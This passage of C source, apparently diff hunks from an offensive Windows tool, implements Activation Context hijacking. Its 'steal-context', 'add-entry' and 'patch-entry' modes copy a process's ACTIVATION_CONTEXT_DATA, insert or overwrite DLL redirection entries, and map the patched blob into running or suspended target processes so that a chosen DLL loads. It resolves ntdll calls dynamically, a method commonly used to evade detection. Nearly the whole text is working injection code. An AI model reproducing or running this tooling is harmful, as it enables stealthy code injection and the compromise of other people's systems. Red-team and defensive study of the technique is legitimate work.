printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
// Patch or add DLL redirection entry
ULONG newTotalSize = PatchOrAddDllRedirection(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
free(wDllName);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] PatchOrAddDllRedirection failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Open the running target process
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
free(wTargetName);
if (!hTarget) {
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
// Inject patched blob into the running target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
CloseHandle(hTarget);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
// Cleanup
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL runtimeAddEntry(const char* targetName, const char* dllName, const char* dllPath) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Open the running target process
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
free(wTargetName);
if (!hTarget) return FALSE;
// Copy ActivationContextData blob from the running target process
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize);
if (!actCtxBlob) {
printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n");
CloseHandle(hTarget);
return FALSE;
}
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
// Reallocate with extra space for the new entry
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(hTarget);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
// Reject if no DLL redirection section exists in the target blob
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
printf("[HINT] The target has no DLL redirection section.\n");
printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
// Reject if the entry already exists —> use patch-entry to overwrite an existing redirect
{
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
if (keyByteLen != strEntries[i].KeyLength) continue;
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
ULONG nChars = keyByteLen / sizeof(WCHAR);
BOOL match = TRUE;
for (ULONG c = 0; c < nChars; c++) {
WCHAR a = existingKey[c];
WCHAR b = wDllName[c];
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
if (a != b) { match = FALSE; break; }
}
if (match) {
printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i);
printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
}
}
printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
// Add new DLL redirection entry
ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
free(wDllName);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] AddDllRedirectionEntry failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Inject patched blob into the running target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
CloseHandle(hTarget);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
// Cleanup
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL runtimePatchEntry(const char* targetName, const char* dllName, const char* dllPath) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation) phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Open the running target process
WCHAR* wTargetName = phantom_char_to_wchar_ascii(targetName);
HANDLE hTarget = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wTargetName, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION);
free(wTargetName);
if (!hTarget) return FALSE;
// Copy ActivationContextData blob from the running target process
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize);
if (!actCtxBlob) {
printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n");
CloseHandle(hTarget);
return FALSE;
}
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
// Reallocate with extra space for patching
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(hTarget);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
// Locate the DLL redirection section
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
printf("[HINT] The target has no SxS DLL redirection manifest.\n");
printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
// Search for the target entry by case-insensitive name
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
LONG foundIdx = -1;
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
if (keyByteLen != strEntries[i].KeyLength) continue;
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
ULONG nChars = keyByteLen / sizeof(WCHAR);
BOOL match = TRUE;
for (ULONG c = 0; c < nChars; c++) {
WCHAR a = existingKey[c];
WCHAR b = wDllName[c];
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
if (a != b) { match = FALSE; break; }
}
if (match) { foundIdx = (LONG)i; break; }
}
free(wDllName);
if (foundIdx < 0) {
printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName);
printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n");
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath);
// Patch the existing entry
ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] PatchDllRedirectionEntry failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(hTarget);
return FALSE;
}
printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Inject patched blob into the running target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
CloseHandle(hTarget);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
// Cleanup
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL modeRuntime(const char* submode, const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) {
if (strcmp(submode, "steal-context") == 0) {
if (!runtimeStealContext(targetName, dllName, dllPath, stealFrom)) return FALSE;
return TRUE;
} else if (strcmp(submode, "add-entry") == 0) {
if (!runtimeAddEntry(targetName, dllName, dllPath)) return FALSE;
return TRUE;
} else if (strcmp(submode, "patch-entry") == 0) {
if (!runtimePatchEntry(targetName, dllName, dllPath)) return FALSE;
return TRUE;
}
return FALSE;
}
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <Windows.h>
BOOL modeRuntime(
const char* submode,
const char* targetName,
const char* dllName,
const char* dllPath,
const char* stealFrom
);
BOOL runtimeStealContext(
const char* targetName,
const char* dllName,
const char* dllPath,
const char* stealFrom
);
BOOL runtimeAddEntry(
const char* targetName,
const char* dllName,
const char* dllPath
);
BOOL runtimePatchEntry(
const char* targetName,
const char* dllName,
const char* dllPath
);
+551
View File
@@ -0,0 +1,551 @@
#include <Windows.h>
#include <stdio.h>
#include "spawn.h"
#include "..\common\dynamic_resolution.h"
#include "..\common\c_runtime.h"
#include "..\common\ntdefs.h"
#include "..\common\actctx.h"
#include "..\common\process_utils.h"
BOOL spawnStealContext(const char* targetPath, const char* dllName, const char* dllPath, const char* stealFrom) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
if(!hKernel32){
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
return FALSE;
}
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if(!hNtdll){
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtQuerySystemInformation || !pNtOpenProcess || !pNtCreateSection || !pNtMapViewOfSection || !pResumeThread || !pNtUnmapViewOfSection) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Get steal process handle specifying the process name
WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom);
HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
free(wStealFrom);
if (!hStealProcess) return FALSE;
// Copy ACTIVATION_CONTEXT_DATA blob from target steal process to local heap buffer
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize);
CloseHandle(hStealProcess);
if(!actCtxBlob){
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
return FALSE;
}
printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize);
// Reallocate with extra space for patching
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
// Patch or add DLL redirection entry
ULONG newTotalSize = PatchOrAddDllRedirection(
blob,
(ULONG)actCtxSize,
wDllName,
wDllPath,
1
);
free(wDllName);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] PatchOrAddDllRedirection failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Launch target process in suspended state
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
STARTUPINFOW si = { 0 };
si.cb = sizeof(STARTUPINFOW);
PROCESS_INFORMATION pi = { 0 };
BOOL result = pCreateProcessW(
NULL,
widePath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
free(widePath);
if (!result) {
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
return FALSE;
}
printf("[SUCCESS] Suspended process created...\n");
// Inject patched Activation Context blob into the suspended target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
result = pResumeThread(pi.hThread);
if (!result) {
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[SUCCESS] Target process resumed.\n");
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL spawnAddEntry(const char* targetPath, const char* dllName, const char* dllPath) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
if(!hKernel32){
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
return FALSE;
}
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if(!hNtdll){
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Launch target process in suspended state
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
STARTUPINFOW si = { 0 };
si.cb = sizeof(STARTUPINFOW);
PROCESS_INFORMATION pi = { 0 };
BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
free(widePath);
if (!result) {
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
return FALSE;
}
printf("[SUCCESS] Suspended process created...\n");
// Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
if (!actCtxBlob) {
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
// Reallocate with extra space for the new entry
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// Reject if the entry already exists —> use patch-entry to overwrite an existing redirect
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
printf("[HINT] The target has no DLL redirection section.\n");
printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
{
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
if (keyByteLen != strEntries[i].KeyLength) continue;
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
ULONG nChars = keyByteLen / sizeof(WCHAR);
BOOL match = TRUE;
for (ULONG c = 0; c < nChars; c++) {
WCHAR a = existingKey[c];
WCHAR b = wDllName[c];
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
if (a != b) { match = FALSE; break; }
}
if (match) {
printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i);
printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
}
}
printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
// Add new DLL redirection entry
ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
free(wDllName);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] AddDllRedirectionEntry failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Inject patched Activation Context blob into the suspended target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
result = pResumeThread(pi.hThread);
if (!result) {
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[SUCCESS] Target process resumed.\n");
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL spawnPatchEntry(const char* targetPath, const char* dllName, const char* dllPath) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
if(!hKernel32){
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
return FALSE;
}
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if(!hNtdll){
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
